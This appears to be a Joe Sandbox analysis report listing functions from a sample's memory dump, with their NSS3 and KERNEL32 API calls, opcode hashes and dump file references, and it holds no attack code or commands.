Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: CallCurrentErrorLastModuleOncePageSizeThreadgethostbyaddr
String ID:
API String ID: 4254312643-0
Opcode ID: b69c9ba06579f5ca6d14c2a746ab1cc43e63704aa7ec6f4055dee4a1d19b812e
Instruction ID: d3675662cccd39d751a7da1cbc1c2409965e3e9eddc278a85df2f24d732918e1
Opcode Fuzzy Hash: b69c9ba06579f5ca6d14c2a746ab1cc43e63704aa7ec6f4055dee4a1d19b812e
Instruction Fuzzy Hash: A7415AB0A0A3C6AFE7108A36D854395B7B5EB4532CF08072BC82643EC5D7769D84CBC2

Function 6CB34FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6CA185D2,00000000,?,?), ref: 6CB34FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB3500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB350C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB350D6

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: dc87b1270c6ead85cc86fce7a4a14f91449c361408ef119407b9d62d563849af
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: DC419DB6A002518BCB18CF18DCD179AB7E1FF4431871D4669C84ACBB02E779E895CB85

Function 6CAC0420 Relevance: 6.1, APIs: 4, Instructions: 117memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000000,?,6CAAC97F,?,?,?), ref: 6CAC04BF
TlsGetValue.KERNEL32(00000000,?,6CAAC97F,?,?,?), ref: 6CAC04F4
EnterCriticalSection.KERNEL32(?,?,?,6CAAC97F,?,?,?), ref: 6CAC050D
PR_Unlock.NSS3(?,?,?,?,6CAAC97F,?,?,?), ref: 6CAC0556

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Alloc_CriticalEnterSectionUnlockUtilValue
String ID:
API String ID: 349578545-0
Opcode ID: 49b2c6234d178ee23a82cebda72f4db683f84338820d2b540a26ae94a35d35b1
Instruction ID: cd4894c1c8a42f6d3ff903b068f437e46985ab05027904814efab68086a813be
Opcode Fuzzy Hash: 49b2c6234d178ee23a82cebda72f4db683f84338820d2b540a26ae94a35d35b1
Instruction Fuzzy Hash: 16414AB4A056468FDB04DF29C58066ABBF4FF48318F19856DD8998BB11EB30E991CB81

Function 6CAEA7B0 Relevance: 6.1, APIs: 4, Instructions: 116COMMON

Download Yara Rule

APIs

Part of subcall function 6CAFEDB0: PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6CAE7FFA,?,6CAE9767,?,8B7874C0,0000A48E), ref: 6CAFEDD4

PK11_DigestOp.NSS3(?,00000000,?,?,?,?,?,?,00000004,?,6CB11882,?,000000FE,?,?), ref: 6CAEA8E3

Part of subcall function 6CA9DEF0: TlsGetValue.KERNEL32 ref: 6CA9DF37
Part of subcall function 6CA9DEF0: EnterCriticalSection.KERNEL32(?), ref: 6CA9DF4B
Part of subcall function 6CA9DEF0: PR_SetError.NSS3(00000000,00000000), ref: 6CA9E02B
Part of subcall function 6CA9DEF0: PR_Unlock.NSS3(?), ref: 6CA9E07E

PK11_DigestOp.NSS3(?,00000000,?), ref: 6CAEA871

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: DigestErrorK11_$CriticalEnterSectionUnlockValue
String ID:
API String ID: 1327502718-0
Opcode ID: 76bdb4c79ae9046245bd381972895d06523df7dcefb4de3a54bbd0f214e996ae
Instruction ID: 9c870c77ad4b3ce051318a0b732c6831e1c12b0c8afe30c26af0eaac42cca988
Opcode Fuzzy Hash: 76bdb4c79ae9046245bd381972895d06523df7dcefb4de3a54bbd0f214e996ae
Instruction Fuzzy Hash: 5431EAB2F00115ABEB0049249C44BAA37BBAB99308F1D8634ED1447B41E7319CABF7D1

Function 6CA76C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CA76C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CA76CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CA76CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6CB98FE0), ref: 6CA76CFE

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 237a3796686225cda55dca6e1b80e750888a1cdd673520ee547fa9d0b8680d35
Instruction ID: 107e041ee81521705cce51c75d513fccceccfe2e0a61144a0716db35049af26d
Opcode Fuzzy Hash: 237a3796686225cda55dca6e1b80e750888a1cdd673520ee547fa9d0b8680d35
Instruction Fuzzy Hash: 1C31C0B5A002069FDB18CF65C881ABFBBF9FF45248B14442DD905D7701EB319845CBA0

Function 6CAE6DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6CAE6E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAE6E57

Part of subcall function 6CB1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB1C2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6CAE6E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6CAE6EAA

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: a758f2d1a7a2dcc85644dd758bcb20c3d912c57a1b003838e772411cffe0fd76
Instruction ID: 27e7f2d2cbf7beacaa5e93b00182fe3ccd4382bce8fb6e28d171066a7ccc2563
Opcode Fuzzy Hash: a758f2d1a7a2dcc85644dd758bcb20c3d912c57a1b003838e772411cffe0fd76
Instruction Fuzzy Hash: 3D31B17161065AEADB141E34D8043AAB7B5AB0931AF140A3CD699D6BC1EB30B4D8DBC1

Function 6CAD8530 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,6CAD72EC), ref: 6CAD855A

Part of subcall function 6CAD07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CA78298,?,?,?,6CA6FCE5,?), ref: 6CAD07BF
Part of subcall function 6CAD07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CAD07E6
Part of subcall function 6CAD07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAD081B
Part of subcall function 6CAD07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAD0825

PORT_ArenaGrow_Util.NSS3(?,00000000,?,00000001,?,?,6CAD72EC), ref: 6CAD859E
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6CAD72EC), ref: 6CAD85B8
PR_SetError.NSS3(FFFFE005,00000000,?,6CAD72EC), ref: 6CAD8600

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: ErrorUtil$ArenaHashLookupTable$Alloc_ConstFindGrow_
String ID:
API String ID: 1727503455-0
Opcode ID: c3976de85504193724a61ee596be12a747b852d478c2b9224f3d669c07c31240
Instruction ID: 99aac238cc0b36aabe2cf3340107546fa0fdb197ba8e387aef67c236c94a6210
Opcode Fuzzy Hash: c3976de85504193724a61ee596be12a747b852d478c2b9224f3d669c07c31240
Instruction Fuzzy Hash: F4210871A102119BE7008F2DDC40B2B76A9AF8131CF6B513AE855D7750EB31F885C7D1

Function 6CA787D0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6CA6EF74,00000000), ref: 6CA787E8

Part of subcall function 6CAD0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA787ED,00000800,6CA6EF74,00000000), ref: 6CAD1000
Part of subcall function 6CAD0FF0: PR_NewLock.NSS3(?,00000800,6CA6EF74,00000000), ref: 6CAD1016
Part of subcall function 6CAD0FF0: PL_InitArenaPool.NSS3(00000000,security,6CA787ED,00000008,?,00000800,6CA6EF74,00000000), ref: 6CAD102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6CA6EF74,00000000), ref: 6CA787FD

Part of subcall function 6CAD10C0: TlsGetValue.KERNEL32(?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD10F3
Part of subcall function 6CAD10C0: EnterCriticalSection.KERNEL32(?,?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD110C
Part of subcall function 6CAD10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD1141
Part of subcall function 6CAD10C0: PR_Unlock.NSS3(?,?,?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD1182
Part of subcall function 6CAD10C0: TlsGetValue.KERNEL32(?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CA7884C
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CA7889F

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Arena_Value$AllocateCriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 59923426-0
Opcode ID: 64be85baae3a985a741c23f2659a8b6754a42460bfc8cdcc68cdf1aefa10adbd
Instruction ID: ebf67da49f81038317bf00dbee72ee1f4aaea80dd71beb227f6baa3eb304f553
Opcode Fuzzy Hash: 64be85baae3a985a741c23f2659a8b6754a42460bfc8cdcc68cdf1aefa10adbd
Instruction Fuzzy Hash: 02317175A012058FEB10CFA4DD44BAA77F8BF45399F19403AD919AB750E730D648CBA2

Function 6CA76420 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000,00000001,00000000,00000000,?,?,6CA75DEF,?,?,?), ref: 6CA76456
CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001,00000001,00000000,00000000,?,?,6CA75DEF,?,?,?), ref: 6CA76476
CERT_DestroyCertificate.NSS3(00000000,?,?,?,?,?,?,6CA75DEF,?,?,?), ref: 6CA764A0
PR_SetError.NSS3(FFFFE020,00000000,00000001,00000000,00000000,?,?,6CA75DEF,?,?,?), ref: 6CA764C2

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: CertificateError$DestroyTemp
String ID:
API String ID: 3886907618-0
Opcode ID: 69f7a8026667b2e723c64be03bd8d7d7b0b57e47e95c4ffce8af3ad3ba9e6179
Instruction ID: 822468ee399c11b17d8345bba127ea87be60f66325986f9a9f0a0aa3d289093f
Opcode Fuzzy Hash: 69f7a8026667b2e723c64be03bd8d7d7b0b57e47e95c4ffce8af3ad3ba9e6179
Instruction Fuzzy Hash: 7F21E7B9A002116FEB309F28DD05B6776E8BB40308F184939F51EC6B41E7B2D5A8C7B1

Function 6CAB4FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CABB60F,00000000), ref: 6CAB5003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CABB60F,00000000), ref: 6CAB501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6CABB60F,00000000), ref: 6CAB504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6CABB60F,00000000), ref: 6CAB5064

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: 6d365a72b1be21d19d0571eb273e6596d719e4b18cdb158c8fe9ee6d88877df3
Instruction ID: e95f4c9ddedfa2c447e37a5a742ea396908b1d75956a5d9f8cfb6307c5e3e094
Opcode Fuzzy Hash: 6d365a72b1be21d19d0571eb273e6596d719e4b18cdb158c8fe9ee6d88877df3
Instruction Fuzzy Hash: B63117B4A05A06CFDB00EF68D48466ABBF8FF09304F158569E859E7701E730E994CBD1

Function 6CAC4590 Relevance: 6.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000008,?,6CAC473B,00000000,?,6CAB7A4F,?), ref: 6CAC459B

Part of subcall function 6CAD0BE0: malloc.MOZGLUE(6CAC8D2D,?,00000000,?), ref: 6CAD0BF8
Part of subcall function 6CAD0BE0: TlsGetValue.KERNEL32(6CAC8D2D,?,00000000,?), ref: 6CAD0C15

TlsGetValue.KERNEL32(?,?,6CAC473B,00000000,?,6CAB7A4F,?), ref: 6CAC45BF
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6CAC473B,00000000,?,6CAB7A4F,?), ref: 6CAC45D3
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,6CAC473B,00000000,?,6CAB7A4F,?), ref: 6CAC45E8

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Value$Alloc_CriticalEnterSectionUnlockUtilmalloc
String ID:
API String ID: 2963671366-0
Opcode ID: 6de0633076c36ac1e645d27d6e6bdb48fa57d3deb3dd8581f018441ae7ebf20e
Instruction ID: b714c6555ab4d742bb49a1c97bc22ae9483105b93adb68b76013c9254272e9e1
Opcode Fuzzy Hash: 6de0633076c36ac1e645d27d6e6bdb48fa57d3deb3dd8581f018441ae7ebf20e
Instruction Fuzzy Hash: A721C2B4B00206AFDB009F69DD445AABBB4FF09319F044539ED49D7B11E731E9A8CB92

Function 6CA604D0 Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(?,?), ref: 6CA604F1
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CA6053B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CA60558
GetLastError.KERNEL32 ref: 6CA6057A

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$ErrorFileHandleInformationLast
String ID:
API String ID: 3051374878-0
Opcode ID: ebe1456a496331477e9a9df3d66a9999aaf72046d9399fc8fdab5aa4595c9c25
Instruction ID: 6c0a6bae5c39c5f94fea9ce3cc6862d68a98bd733a991506d24957958640a5b0
Opcode Fuzzy Hash: ebe1456a496331477e9a9df3d66a9999aaf72046d9399fc8fdab5aa4595c9c25
Instruction Fuzzy Hash: DD215E71A002189FDB08DFA9DC95AAEB7B8FF59308B108029E809DB351D735ED46CBD0

Function 6CAE2DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CAE2E08

Part of subcall function 6CAD14C0: TlsGetValue.KERNEL32 ref: 6CAD14E0
Part of subcall function 6CAD14C0: EnterCriticalSection.KERNEL32 ref: 6CAD14F5
Part of subcall function 6CAD14C0: PR_Unlock.NSS3 ref: 6CAD150D

PORT_NewArena_Util.NSS3(00000400), ref: 6CAE2E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6CAE2E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CAE2E95

Part of subcall function 6CAD1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CA788A4,00000000,00000000), ref: 6CAD1228
Part of subcall function 6CAD1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CAD1238
Part of subcall function 6CAD1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CA788A4,00000000,00000000), ref: 6CAD124B
Part of subcall function 6CAD1200: PR_CallOnce.NSS3(6CBD2AA4,6CAD12D0,00000000,00000000,00000000,?,6CA788A4,00000000,00000000), ref: 6CAD125D
Part of subcall function 6CAD1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CAD126F
Part of subcall function 6CAD1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CAD1280
Part of subcall function 6CAD1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CAD128E
Part of subcall function 6CAD1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CAD129A
Part of subcall function 6CAD1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CAD12A1

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: 70b2798c7b3da0dcc1b03603bf7cfe407b7b0f274230b875e2b3429accb0b2a2
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: E92126B1D003564BEB10CF549D44BAA3B74AF9930CF1A0369DD085B742F7B1E6C882D2

Function 6CA9ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CA9ACC2

Part of subcall function 6CA72F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CA72F0A
Part of subcall function 6CA72F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CA72F1D

Part of subcall function 6CA72AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6CA70A1B,00000000), ref: 6CA72AF0
Part of subcall function 6CA72AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA72B11

CERT_DestroyCertList.NSS3(00000000), ref: 6CA9AD5E

Part of subcall function 6CAB57D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CA7B41E,00000000,00000000,?,00000000,?,6CA7B41E,00000000,00000000,00000001,?), ref: 6CAB57E0
Part of subcall function 6CAB57D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CAB5843

CERT_DestroyCertList.NSS3(?), ref: 6CA9AD36

Part of subcall function 6CA72F50: CERT_DestroyCertificate.NSS3(?), ref: 6CA72F65
Part of subcall function 6CA72F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CA72F83

free.MOZGLUE(?), ref: 6CA9AD4F

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: 9fa4107035711ed386494c26da0219be3229c2df79d66b0507eb6290b3debf7e
